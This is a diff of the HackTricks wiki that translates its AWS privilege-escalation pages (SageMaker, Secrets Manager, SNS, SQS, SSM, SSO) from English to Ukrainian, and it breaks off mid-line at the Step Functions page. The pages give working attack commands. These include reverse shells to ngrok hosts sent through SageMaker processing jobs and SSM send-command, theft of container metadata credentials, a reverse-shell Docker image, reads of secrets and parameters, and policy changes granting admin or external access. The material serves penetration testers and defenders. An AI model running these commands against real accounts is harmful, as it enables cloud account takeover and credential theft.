b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..fc064ec4f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -6,68 +6,60 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Start creating a noteboook with the IAM Role to access attached to it: - +Почніть створювати нотатник з IAM роллю, щоб отримати доступ до нього: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +Відповідь повинна містити поле `NotebookInstanceArn`, яке міститиме ARN новоствореного екземпляра блокнота. Потім ми можемо використовувати API `create-presigned-notebook-instance-url`, щоб згенерувати URL, який ми можемо використовувати для доступу до екземпляра блокнота, як тільки він буде готовий: ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +Перейдіть за URL-адресою в браузері та натисніть на \`Open JupyterLab\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”. -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +Тепер можливо отримати доступ до облікових даних метаданих IAM Role. -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potential Impact:** Privesc до ролі служби sagemaker, що вказана. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +Якщо на ньому **вже запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**Потенційний вплив:** Privesc до ролі служби sagemaker, що прикріплена. ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +Зловмисник з цими дозволами може змусити **sagemaker виконати обробку роботи** з прикріпленою роллю sagemaker. Зловмисник може вказати визначення контейнера, який буде запущено в **управляємому AWS ECS обліковому записі**, і **викрасти облікові дані прикріпленої ролі IAM**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Потенційний вплив:** Privesc до ролі служби sagemaker, що вказана. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **доданою роллю**. Тому зловмисник зможе вкрасти облікові дані ролі. > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> Цей сценарій складніше експлуатувати, ніж попередній, оскільки вам потрібно створити образ Docker, який надішле rev shell або облікові дані безпосередньо зловмиснику (ви не можете вказати команду запуску в конфігурації навчальної задачі). > > ```bash -> # Create docker image +> # Створити образ docker > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## Зверніть увагу, що навчальна задача буде викликати виконуваний файл під назвою "train" +> ## Ось чому я поміщаю rev shell у /bin/train +> ## Встановіть значення та > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # Завантажте його в ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Потенційний вплив:** Privesc до ролі служби sagemaker, що вказана. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +Атакуючий з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** на ній з **долученою роллю**.\ +&#xNAN;_I не експлуатував через брак часу, але виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації._ -## References +## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..81ee7b349 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Для отримання додаткової інформації про Secrets Manager дивіться: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +Зловмисник з цим дозволом може отримати **збережене значення всередині секрету** в AWS **Secretsmanager**. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**Потенційний вплив:** Доступ до високочутливих даних у службі AWS Secrets Manager. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +З попередніми дозволами можливо **надати доступ іншим принципалам/акаунтам (навіть зовнішнім)** для доступу до **секрету**. Зверніть увагу, що для **читання секретів, зашифрованих** за допомогою ключа KMS, користувач також повинен мати **доступ до ключа KMS** (більше інформації на [сторінці KMS Enum](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..b12b8ae62 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Потенційний вплив**: Використання вразливостей, Пошкодження даних, ненавмисні дії або виснаження ресурсів. ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Зловмисник може підписатися на тему SNS, потенційно отримуючи несанкціонований доступ до повідомлень або порушуючи нормальне функціонування додатків, що покладаються на цю тему. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**Потенційний вплив**: Несанкціонований доступ до повідомлень (чутлива інформація), порушення роботи для додатків, що залежать від ураженої теми. ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +Зловмисник може надати несанкціонованим користувачам або сервісам доступ до теми SNS, потенційно отримуючи подальші дозволи. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Потенційний вплив**: Несанкціонований доступ до теми, витік повідомлень або маніпуляція темою з боку несанкціонованих користувачів або сервісів, порушення нормального функціонування для додатків, що покладаються на тему. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..2d3a69bb6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +Зловмисник може використовувати цей дозвіл, щоб надати несанкціонованим користувачам або службам доступ до черги SQS, створюючи нові політики або змінюючи існуючі політики. Це може призвести до несанкціонованого доступу до повідомлень у черзі або маніпуляцій з чергою з боку несанкціонованих осіб. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляція чергою з боку несанкціонованих користувачів або сервісів. ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що потенційно може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Потенційний вплив**: Використання вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що призводить до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Потенційний вплив**: Викрадення чутливої інформації, Втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..d0840389c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +Для отримання додаткової інформації про SSM дивіться: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Зловмисник з дозволом **`ssm:SendCommand`** може **виконувати команди в екземплярах**, що працюють з Amazon SSM Agent, і **компрометувати IAM Role**, що працює всередині нього. ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +У випадку, якщо ви використовуєте цю техніку для ескалації привілеїв всередині вже скомпрометованого EC2 екземпляра, ви можете просто захопити rev shell локально за допомогою: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM агентами. ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Зловмисник з дозволом **`ssm:StartSession`** може **розпочати сесію, подібну до SSH, в екземплярах**, що працюють з Amazon SSM Agent, і **скомпрометувати IAM роль**, що працює всередині нього. ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Щоб почати сесію, вам потрібно встановити **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Potential Impact:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM Agents. -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### Privesc до ECS +Коли **ECS завдання** виконуються з **увімкненим `ExecuteCommand`**, користувачі з достатніми правами можуть використовувати `ecs execute-command`, щоб **виконати команду** всередині контейнера.\ +Згідно з [**документацією**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), це здійснюється шляхом створення безпечного каналу між пристроєм, який ви використовуєте для ініціювання команди “_exec_“, та цільовим контейнером за допомогою SSM Session Manager. (Плагін SSM Session Manager необхідний для цього)\ +Отже, користувачі з `ssm:StartSession` зможуть **отримати оболонку всередині ECS завдань** з увімкненою цією опцією, просто виконавши: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**Потенційний вплив:** Пряме підвищення привілеїв до `ECS` IAM ролей, прикріплених до запущених завдань з увімкненим `ExecuteCommand`. ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +Зловмисник з дозволом **`ssm:ResumeSession`** може повторно **розпочати сесію, схожу на SSH, на екземплярах**, що виконують Amazon SSM Agent з **відключеним** станом сесії SSM та **компрометувати IAM роль**, що виконується всередині неї. ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM агентами та відключеними сесіями. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +Зловмисник з вказаними дозволами зможе перерахувати **SSM параметри** та **читати їх у відкритому тексті**. У цих параметрах ви часто можете **знайти чутливу інформацію**, таку як SSH ключі або API ключі. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**Потенційний вплив:** Знайти чутливу інформацію всередині параметрів. ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +Зловмисник з цим дозволом може перерахувати всі **команди**, надіслані, і, сподіваючись, знайти **чутливу інформацію** в них. ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**Потенційний вплив:** Знайти чутливу інформацію всередині командних рядків. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +Зловмисник з цими дозволами може перерахувати всі **команди**, що були надіслані, та **прочитати вихідні дані**, сподіваючись знайти **чутливу інформацію** в них. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` - -**Potential Impact:** Find sensitive information inside the output of the command lines. +**Потенційний вплив:** Знайти чутливу інформацію виводу командних рядків. ### Codebuild -You can also use SSM to get inside a codebuild project being built: +Ви також можете використовувати SSM, щоб отримати доступ до проекту codebuild, що будується: {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..538666b55 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +Для отримання додаткової інформації про AWS Identity Center / AWS SSO перегляньте: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Зверніть увагу, що за **замовчуванням** лише **користувачі** з правами **з** **Управлінського облікового запису** зможуть отримати доступ і **керувати IAM Identity Center**.\ +> Користувачі з інших облікових записів можуть це дозволити лише якщо обліковий запис є **делегованим адміністратором.**\ +> [Перегляньте документацію для отримання додаткової інформації.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Password~~ +### ~~Скидання пароля~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. +Легкий спосіб підвищити привілеї в таких випадках, як цей, полягає в тому, щоб мати дозвіл, який дозволяє скинути паролі користувачів. На жаль, можливо лише надіслати електронний лист користувачу для скидання його пароля, тому вам потрібно буде отримати доступ до електронної пошти користувача. ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +З цим дозволом можливо додати користувача до групи, щоб він успадкував усі дозволи, які має група. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Зловмисник з цим дозволом може надати додаткові дозволи до Набору Дозволів, який надано користувачу під його контролем. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Зловмисник з цим дозволом може надати додаткові дозволи до Набору дозволів, який надано користувачу під його контролем. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +Зловмисник з цим дозволом може надати додаткові дозволи до Набору дозволів, який надано користувачу під його контролем. > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> Щоб зловживати цими дозволами в цьому випадку, вам потрібно знати **назву політики, що керується клієнтом, яка є в усіх облікових записах**, які будуть під впливом. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +Зловмисник з цим дозволом міг би надати Набір дозволів користувачу під його контролем для облікового запису. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +Повертає короткострокові облікові дані STS для вказаного імені ролі, яка призначена користувачу. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +Однак вам потрібен токен доступу, якого я не впевнений, як отримати (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Зловмисник з цим дозволом може видалити асоціацію між керованою політикою AWS та вказаним набором дозволів. Можливо надати більше привілеїв через **від'єднання керованої політики (політика відмови)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Зловмисник з цим дозволом може видалити асоціацію між політикою, що керується замовником, та вказаним набором дозволів. Можливо надати більше привілеїв через **від'єднання керованої політики (політики відмови)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +Зловмисник з цим дозволом може видалити дозволи з вбудованої політики з набору дозволів. Можливо надати **більше привілеїв, відключивши вбудовану політику (політика заборони)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +Зловмисник з цим дозволом може видалити межу дозволів з набору дозволів. Можливо надати **більше привілеїв, видаливши обмеження на набір дозволів**, наданий межою дозволів. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..cd7c9fa3d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +Для отримання додаткової 